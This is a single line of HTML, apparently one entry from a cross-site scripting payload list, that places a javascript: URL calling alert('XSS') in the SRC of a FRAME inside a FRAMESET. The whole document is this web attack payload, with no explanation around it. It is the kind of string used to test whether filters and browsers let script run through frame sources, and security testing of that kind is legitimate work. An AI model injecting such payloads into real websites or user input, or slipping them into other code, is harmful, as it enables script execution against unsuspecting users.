<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>